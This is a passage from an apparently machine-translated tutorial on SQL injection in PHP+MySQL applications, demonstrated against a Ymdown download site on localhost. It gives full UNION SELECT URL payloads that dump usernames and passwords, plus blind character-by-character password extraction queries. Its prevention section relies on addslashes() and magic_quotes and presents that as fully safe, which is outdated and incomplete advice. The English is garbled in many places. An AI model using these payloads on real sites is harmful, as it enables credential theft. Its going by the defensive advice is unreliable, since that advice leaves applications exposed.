Username and password data types are varchar, so we want to select the Ymdown table data type is varchar, if the varchar of the data to the place of the int is of course impossible to show, because the UpdateTime (update date) length is 20, May appear incomplete, we will display the user name in the name (software title) there, the password is shown in size (file sizes) there, in 19 "1", name and size are the second and fourth, we submit:
http://127.0.0.1/ymdown/show.php?id=10000Union Select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1
The result is a successful return of the username and password we need, as shown in the figure:
Verifying test results
The entire infiltration process is over, but since the black and white have changed the entrance, we cannot log in, but we only testinjected, the goal has been achieved, there is no need to go backstage, I later continue to construct SQL statements to verify that we get the correct password, and then commit:
http://127.0.0.1/ymdown/show.php?id=10Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,1,1)) =49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,2,1)) =50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,3,1)) =51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,4,1)) =52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,5,1)) =53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,6,1)) =54
#验证第六位密码
You can get 123456 with select char (49,50,51,52,53,54).
Ok! Test finished, verify that our results are correct. To illustrate, the password itself is 123456, you can not Ord () function and directly guess, but for everyone to see a complete process, I still "professional" a little better. A screenshot below is the one that was intercepted when the HB was tested when the article was finished:
injectedof prevention
Prevention can start from two aspects, one is the server, two is the code itself, introducing server configuration of the article a lot of, nothing more than the MAGIC_QUOTES_GPC set to ON, Display_errors set to OFF, here is not to say, Since this contact is a matter of procedure, we still look for the reason from the program itself.
If PHP is easier to use than ASP, it is safe and can be reflected from built-in functions. If it's a variable, just use a intval () function to solve the problem, before we execute the query, we'll deal with the variables, as the following example is very safe:
$id = intval ($id);
mysql_query ("SELECT * from article WHERE articleid= ' $id '");
or write this:
mysql_query ("SELECT * from article WHERE articleid=". Intval ($id). "")
Regardless of how it is constructed, it will eventually be converted to a plastic guess into the database. Many large programs are written in this way, very concise.
String-shaped variables can also be addslashes () the entire built-in function, the function of which is the same as MAGIC_QUOTES_GPC, after using all the ' (single quotes), ' (double quotes), (backslash) and null characters will automatically be converted to contain the backslash character overflow. And the new version of PHP, even if the MAGIC_QUOTES_GPC open, and then use the Addslashes () function, there will be no conflict, you can rest assured that use. Examples are as follows:
$username = Addslashes ($username);
mysql_query ("SELECT * from the members WHERE userid= ' $username '");
or write this:
mysql_query ("SELECT * from the members WHERE userid=". Addslashes ($username). "")
Using the Addslashes () function also avoids the occurrence of a quotation mark pairing error. And just before the search engine repair method is directly to "_", "%" to "_" "%" on it, of course, do not forget to use the addslashes () function. The specific code is as follows:
$keywords = addslashes ($keywords);
$keywords = Str_replace ("_", "_", $keywords);
$keywords = str_replace ("%", "%", $keywords);
Do not like the ASP, filter a little variable, it is necessary to write a lot of code, is a little bit of code above, we can solve all the problems of this article, is not very simple?
Postscript
This article is I since March 2004 use after school time study research, May mid-April, everything inside is after I personally tested, this article is only a technical summary, there are many technical difficulties unresolved, so mistakes and omissions is unavoidable, please correct me.
There are a lot of dangerous things, as long as a few conditions are set up, generally can enter the server, considering the seriousness and breadth, I did not write out, I personally estimate that soon will appear php+mysqlinjectedA range of tools, technology will also spread and inform development. But I suggest you must make clear the principle, the tool is only the weapon, the technology is the soul, the tool is only enhances the efficiency only, does not represent your skill is superb.
When you see this article, I guess I have finished the college entrance examination, summer vacation I will write a more in-depth study.
In order to let more people know and master the Php+mysqlinjectedTechnology before I wrote this article and decided to publish it again. Do not damage any legitimate host in any country, otherwise the consequences will be at your own risk.
Infiltration clearance is very easy
Everything is in my hands.
Getting closer to the admin
Today's mood is very different AH big different